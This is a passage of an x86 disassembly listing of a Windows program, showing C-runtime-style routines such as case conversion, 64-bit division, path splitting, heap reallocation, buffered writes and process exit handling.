

loc_41714F:				; CODE XREF: sub_41711C+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41716A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_417160
		dec	[ebp+arg_4]
		jnz	short loc_417139


loc_417160:				; CODE XREF: sub_41711C+18j
					; sub_41711C+3Dj ...
		and	byte ptr [edi],	0


loc_417163:				; CODE XREF: sub_41711C+55j
		mov	eax, ebx
		pop	esi


loc_417166:				; CODE XREF: sub_41711C+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41716A:				; CODE XREF: sub_41711C+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_417160
		xor	ebx, ebx
		jmp	short loc_417163
sub_41711C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417173	proc near		; CODE XREF: sub_409B08+6p
					; sub_409B26+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_469508, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_4171A0
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_417239
		cmp	eax, 5Ah
		jg	loc_417239
		add	eax, 20h
		jmp	loc_417239
; ---------------------------------------------------------------------------


loc_4171A0:				; CODE XREF: sub_417173+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_4171D4
		cmp	ds:dword_437F5C, esi
		jle	short loc_4171C2
		push	esi
		push	ebx
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_4171CC
; ---------------------------------------------------------------------------


loc_4171C2:				; CODE XREF: sub_417173+42j
		mov	eax, ds:off_437D50
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_4171CC:				; CODE XREF: sub_417173+4Dj
		test	eax, eax
		jnz	short loc_4171D4


loc_4171D0:				; CODE XREF: sub_417173+ADj
		mov	eax, ebx
		jmp	short loc_417239
; ---------------------------------------------------------------------------


loc_4171D4:				; CODE XREF: sub_417173+3Aj
					; sub_417173+5Bj
		mov	edx, ds:off_437D50
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4171F8
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_417201
; ---------------------------------------------------------------------------


loc_4171F8:				; CODE XREF: sub_417173+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_417201:				; CODE XREF: sub_417173+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	ds:dword_469508
		call	loc_41BD51
		add	esp, 20h
		test	eax, eax
		jz	short loc_4171D0
		cmp	eax, esi
		jnz	short loc_41722C
		movzx	eax, [ebp+var_4]
		jmp	short loc_417239
; ---------------------------------------------------------------------------


loc_41722C:				; CODE XREF: sub_417173+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_417239:				; CODE XREF: sub_417173+16j
					; sub_417173+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417173	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417240	proc near		; CODE XREF: sub_40A9FF+3Dp
					; sub_40C1FC+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_417261
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_4172B1
; ---------------------------------------------------------------------------


loc_417261:				; CODE XREF: sub_417240+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41726F:				; CODE XREF: sub_417240+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41726F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41729A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41729A
		jb	short loc_4172A2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_4172A2


loc_41729A:				; CODE XREF: sub_417240+4Aj
					; sub_417240+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_4172A2:				; CODE XREF: sub_417240+52j
					; sub_417240+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4172B1:				; CODE XREF: sub_417240+1Fj
		pop	ebx
		retn	10h
sub_417240	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4172C0	proc near		; CODE XREF: sub_40A9FF+24p
					; sub_40C1FC+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_4172E2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_417323
; ---------------------------------------------------------------------------


loc_4172E2:				; CODE XREF: sub_4172C0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4172F0:				; CODE XREF: sub_4172C0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4172F0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41731E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41731E
		jb	short loc_41731F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41731F


loc_41731E:				; CODE XREF: sub_4172C0+4Ej
					; sub_4172C0+54j
		dec	esi


loc_41731F:				; CODE XREF: sub_4172C0+56j
					; sub_4172C0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_417323:				; CODE XREF: sub_4172C0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_4172C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417328	proc near		; CODE XREF: sub_40AAB5+1E3p
					; seg000:00411DF1p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_415CD0
		cmp	eax, 1
		pop	ecx
		jb	short loc_417363
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_417363
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41735F
		push	2
		push	ebx
		push	esi
		call	sub_41C380
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41735F:				; CODE XREF: sub_417328+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41736D
; ---------------------------------------------------------------------------


loc_417363:				; CODE XREF: sub_417328+18j
					; sub_417328+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41736D
		and	byte ptr [eax],	0


loc_41736D:				; CODE XREF: sub_417328+39j
					; sub_417328+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_4173E5


loc_417380:				; CODE XREF: sub_417328+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	ds:byte_46A9C1[edx], 4
		jz	short loc_417391
		inc	eax
		jmp	short loc_4173AB
; ---------------------------------------------------------------------------


loc_417391:				; CODE XREF: sub_417328+64j
		cmp	cl, 2Fh
		jz	short loc_4173A5
		cmp	cl, 5Ch
		jz	short loc_4173A5
		cmp	cl, 2Eh
		jnz	short loc_4173AB
		mov	[ebp+var_4], eax
		jmp	short loc_4173AB
; ---------------------------------------------------------------------------


loc_4173A5:				; CODE XREF: sub_417328+6Cj
					; sub_417328+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_4173AB:				; CODE XREF: sub_417328+67j
					; sub_417328+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417380
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_4173E5
		cmp	[ebp+arg_8], 0
		jz	short loc_4173E0
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_4173C9
		mov	edi, esi


loc_4173C9:				; CODE XREF: sub_417328+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41C380
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4173E0:				; CODE XREF: sub_417328+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_4173EF
; ---------------------------------------------------------------------------


loc_4173E5:				; CODE XREF: sub_417328+56j
					; sub_417328+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_4173EF
		and	byte ptr [ecx],	0


loc_4173EF:				; CODE XREF: sub_417328+BBj
					; sub_417328+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_417442
		cmp	edi, ebx
		jb	short loc_417442
		cmp	[ebp+arg_C], 0
		jz	short loc_41741F
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_417408
		mov	edi, esi


loc_417408:				; CODE XREF: sub_417328+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41C380
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41741F:				; CODE XREF: sub_417328+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41746A
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41742F
		mov	esi, eax


loc_41742F:				; CODE XREF: sub_417328+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41C380
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41746A
; ---------------------------------------------------------------------------


loc_417442:				; CODE XREF: sub_417328+CCj
					; sub_417328+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_417460
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_417451
		mov	esi, eax


loc_417451:				; CODE XREF: sub_417328+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41C380
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_417460:				; CODE XREF: sub_417328+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41746A
		and	byte ptr [eax],	0


loc_41746A:				; CODE XREF: sub_417328+FCj
					; sub_417328+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417328	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41746F	proc near		; CODE XREF: sub_40B1C5+19p
					; sub_412CEC+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_417D2C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4174AD
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4174BA
; ---------------------------------------------------------------------------


loc_4174AD:				; CODE XREF: sub_41746F+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C17
		pop	ecx
		pop	ecx


loc_4174BA:				; CODE XREF: sub_41746F+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41746F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4174BF	proc near		; CODE XREF: sub_40B43D+2Ep
					; sub_4167B3+35p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_4174DA
		push	[esp+10h+arg_4]
		call	sub_415DA9
		pop	ecx
		jmp	loc_4175DA
; ---------------------------------------------------------------------------


loc_4174DA:				; CODE XREF: sub_4174BF+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_4174F0
		push	ebx
		call	sub_415E1D
		pop	ecx


loc_4174E9:				; CODE XREF: sub_4174BF+114j
		xor	eax, eax
		jmp	loc_4175DA
; ---------------------------------------------------------------------------


loc_4174F0:				; CODE XREF: sub_4174BF+21j
					; sub_4174BF+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_4175BB
		push	ebx
		call	sub_418ADD
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_417598
		cmp	esi, ds:dword_437F6C
		ja	short loc_417558
		push	esi
		push	ebx
		push	ebp
		call	sub_4192E8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417527
		mov	edi, ebx
		jmp	short loc_417550
; ---------------------------------------------------------------------------


loc_417527:				; CODE XREF: sub_4174BF+62j
		push	esi
		call	sub_418E33
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_417558
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41753E
		mov	eax, esi


loc_41753E:				; CODE XREF: sub_4174BF+7Bj
		push	eax
		push	ebx
		push	edi
		call	sub_4155B0
		push	ebx
		push	ebp
		call	sub_418B08
		add	esp, 14h


loc_417550:				; CODE XREF: sub_4174BF+66j
		test	edi, edi
		jnz	loc_4175D8


loc_417558:				; CODE XREF: sub_4174BF+53j
					; sub_4174BF+73j
		test	esi, esi
		jnz	short loc_41755F
		push	1
		pop	esi


loc_41755F:				; CODE XREF: sub_4174BF+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_46AAE0
		call	ds:dword_42114C	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_4175BB
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_417584
		mov	eax, esi


loc_417584:				; CODE XREF: sub_4174BF+C1j
		push	eax
		push	ebx
		push	edi
		call	sub_4155B0
		push	ebx
		push	ebp
		call	sub_418B08
		add	esp, 14h
		jmp	short loc_4175B7
; ---------------------------------------------------------------------------


loc_417598:				; CODE XREF: sub_4174BF+47j
		test	esi, esi
		jnz	short loc_41759F
		push	1
		pop	esi


loc_41759F:				; CODE XREF: sub_4174BF+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	ds:dword_46AAE0
		call	ds:dword_421160	; RtlReAllocateHeap
		mov	edi, eax


loc_4175B7:				; CODE XREF: sub_4174BF+D7j
		test	edi, edi
		jnz	short loc_4175D8


loc_4175BB:				; CODE XREF: sub_4174BF+36j
					; sub_4174BF+B9j
		cmp	ds:dword_4694D4, 0
		jz	short loc_4175D8
		push	esi
		call	sub_418A48
		test	eax, eax
		pop	ecx
		jnz	loc_4174F0
		jmp	loc_4174E9
; ---------------------------------------------------------------------------


loc_4175D8:				; CODE XREF: sub_4174BF+93j
					; sub_4174BF+FAj ...
		mov	eax, edi


loc_4175DA:				; CODE XREF: sub_4174BF+16j
					; sub_4174BF+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4174BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175DF	proc near		; CODE XREF: seg000:0040BBBFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_417603
		xor	eax, eax
		jmp	loc_4176D0
; ---------------------------------------------------------------------------


loc_417603:				; CODE XREF: sub_4175DF+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_417616
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41761D
; ---------------------------------------------------------------------------


loc_417616:				; CODE XREF: sub_4175DF+2Dj
		mov	[ebp+arg_C], 1000h


loc_41761D:				; CODE XREF: sub_4175DF+35j
					; sub_4175DF+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_417651
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_417651
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_417637
		mov	edi, eax


loc_417637:				; CODE XREF: sub_4175DF+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_4155B0
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_417697
; ---------------------------------------------------------------------------


loc_417651:				; CODE XREF: sub_4175DF+47j
					; sub_4175DF+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41769C
		test	ecx, ecx
		jz	short loc_417665
		push	esi
		call	sub_4186C4
		test	eax, eax
		pop	ecx
		jnz	short loc_4176DE


loc_417665:				; CODE XREF: sub_4175DF+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_417678
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41767A
; ---------------------------------------------------------------------------


loc_417678:				; CODE XREF: sub_4175DF+8Aj
		mov	edi, ebx


loc_41767A:				; CODE XREF: sub_4175DF+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41C40A
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4176D5
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_4176D5


loc_417697:				; CODE XREF: sub_4175DF+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_4176C5
; ---------------------------------------------------------------------------


loc_41769C:				; CODE XREF: sub_4175DF+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_417C17
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4176DE
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_4176C5
		mov	[ebp+arg_C], 1


loc_4176C5:				; CODE XREF: sub_4175DF+BBj
					; sub_4175DF+DDj
		test	ebx, ebx
		jnz	loc_41761D
		mov	eax, [ebp+arg_8]


loc_4176D0:				; CODE XREF: sub_4175DF+1Fj
					; sub_4175DF+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4176D5:				; CODE XREF: sub_4175DF+ADj
					; sub_4175DF+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_4176E0
; ---------------------------------------------------------------------------


loc_4176DE:				; CODE XREF: sub_4175DF+84j
					; sub_4175DF+CFj
		mov	eax, edi


loc_4176E0:				; CODE XREF: sub_4175DF+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4176D0
sub_4175DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4176E9	proc near		; CODE XREF: sub_40C1E2+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	ds:dword_421094	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_417709
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		call	sub_41C5B7
		pop	ecx


loc_417705:				; CODE XREF: sub_4176E9+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_417709:				; CODE XREF: sub_4176E9+Dj
		test	al, 1
		jz	short loc_41772A
		test	[esp+arg_4], 2
		jz	short loc_41772A
		mov	ds:dword_469474, 0Dh
		mov	ds:dword_469478, 5
		jmp	short loc_417705
; ---------------------------------------------------------------------------


loc_41772A:				; CODE XREF: sub_4176E9+22j
					; sub_4176E9+29j
		xor	eax, eax
		retn
sub_4176E9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417730	proc near		; CODE XREF: sub_40C30C+5Fp
					; sub_40C30C+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_417751
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_417751:				; CODE XREF: sub_417730+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41776D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41776D:				; CODE XREF: sub_417730+27j
		or	eax, eax
		jnz	short loc_417789
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4177CA
; ---------------------------------------------------------------------------


loc_417789:				; CODE XREF: sub_417730+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_417797:				; CODE XREF: sub_417730+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_417797
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4177C5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4177C5
		jb	short loc_4177C6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4177C6


loc_4177C5:				; CODE XREF: sub_417730+85j
					; sub_417730+8Bj
		dec	esi


loc_4177C6:				; CODE XREF: sub_417730+8Dj
					; sub_417730+93j
		xor	edx, edx
		mov	eax, esi


loc_4177CA:				; CODE XREF: sub_417730+57j
		dec	edi
		jnz	short loc_4177D4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4177D4:				; CODE XREF: sub_417730+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_417730	endp


; =============== S U B	R O U T	I N E =======================================



sub_4177DA	proc near		; CODE XREF: seg000:00417B6Bp
		mov	eax, ds:off_437D1C
		test	eax, eax
		jz	short loc_4177E5
		call	eax ; sub_415F1B


loc_4177E5:				; CODE XREF: sub_4177DA+7j
		push	offset dword_423028
		push	offset dword_423014
		call	sub_4178C2
		push	offset dword_423010
		push	offset dword_423000
		call	sub_4178C2
		add	esp, 10h
		retn
sub_4177DA	endp

; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	loc_417829
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_417818	proc near		; CODE XREF: sub_417BCE+1Cp
					; sub_41AB7C+342Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	loc_417829
		add	esp, 0Ch
		retn
sub_417818	endp

; ---------------------------------------------------------------------------


loc_417829:				; CODE XREF: seg000:0041780Fp
					; sub_417818+8p
		push	edi
		push	1
		pop	edi
		cmp	ds:dword_4694BC, edi
		jnz	short loc_417846
		push	dword ptr [esp+8]
		call	near ptr 3D0000h
		mov	byte ptr [eax-18h], 0BBh
		xchg	edi, ebx
; ---------------------------------------------------------------------------
		db 0FFh, 0EBh
; ---------------------------------------------------------------------------


loc_417846:				; CODE XREF: seg000:00417833j
		cmp	dword ptr [esp+0Ch], 0
		push	ebx
		mov	ebx, [esp+14h]
		mov	ds:dword_4694B8, edi
		mov	ds:byte_4694B4,	bl
		jnz	short loc_41789A
		mov	eax, ds:dword_46AAF4
		test	eax, eax
		jz	short loc_417889
		mov	ecx, ds:dword_46AAF0
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_417888


loc_417875:				; CODE XREF: seg000:00417886j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41787D
		call	eax


loc_41787D:				; CODE XREF: seg000:00417879j
		sub	esi, 4
		cmp	esi, ds:dword_46AAF4
		jnb	short loc_417875


loc_417888:				; CODE XREF: seg000:00417873j
		pop	esi


loc_417889:				; CODE XREF: seg000:00417865j
		push	offset dword_423034
		push	offset dword_42302C
		call	sub_4178C2
		pop	ecx
		pop	ecx


loc_41789A:				; CODE XREF: seg000:0041785Cj
		push	offset dword_423040
		push	offset dword_423038
		call	sub_4178C2
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_4178C0
		push	dword ptr [esp+8]
		mov	ds:dword_4694BC, edi
		call	ds:dword_421114	; ExitProcess


loc_4178C0:				; CODE XREF: seg000:004178AEj
		pop	edi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4178C2	proc near		; CODE XREF: sub_4177DA+15p
					; sub_4177DA+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_4178C7:				; CODE XREF: sub_4178C2+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_4178DA
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4178D5
		call	eax


loc_4178D5:				; CODE XREF: sub_4178C2+Fj
		add	esi, 4
		jmp	short loc_4178C7
; ---------------------------------------------------------------------------


loc_4178DA:				; CODE XREF: sub_4178C2+9j
		pop	esi
		retn
sub_4178C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4178DC	proc near		; CODE XREF: seg000:0040F8E3p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 3D0000h
		dec	eax
		test	eax, eax
		jnz	short loc_4178F2
		call	ds:dword_421088	; RtlGetLastWin32Error
		jmp	short loc_4178F4
; ---------------------------------------------------------------------------


loc_4178F2:				; CODE XREF: sub_4178DC+Cj
		xor	eax, eax


loc_4178F4:				; CODE XREF: sub_4178DC+14j
		test	eax, eax
		jz	short loc_417903
		push	eax
		call	sub_41C5B7
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_417903:				; CODE XREF: sub_4178DC+1Aj
		xor	eax, eax
		retn
sub_4178DC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417910	proc near		; CODE XREF: sub_412B46+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41795C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41795D
		test	eax, 1
		jz	short loc_41793D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41798A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41795A


loc_41793D:				; CODE XREF: sub_417910+20j
					; sub_417910+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41798A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41798A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41793D


loc_41795A:				; CODE XREF: sub_417910+2Bj
					; sub_417910+84j
		pop	edi
		pop	esi

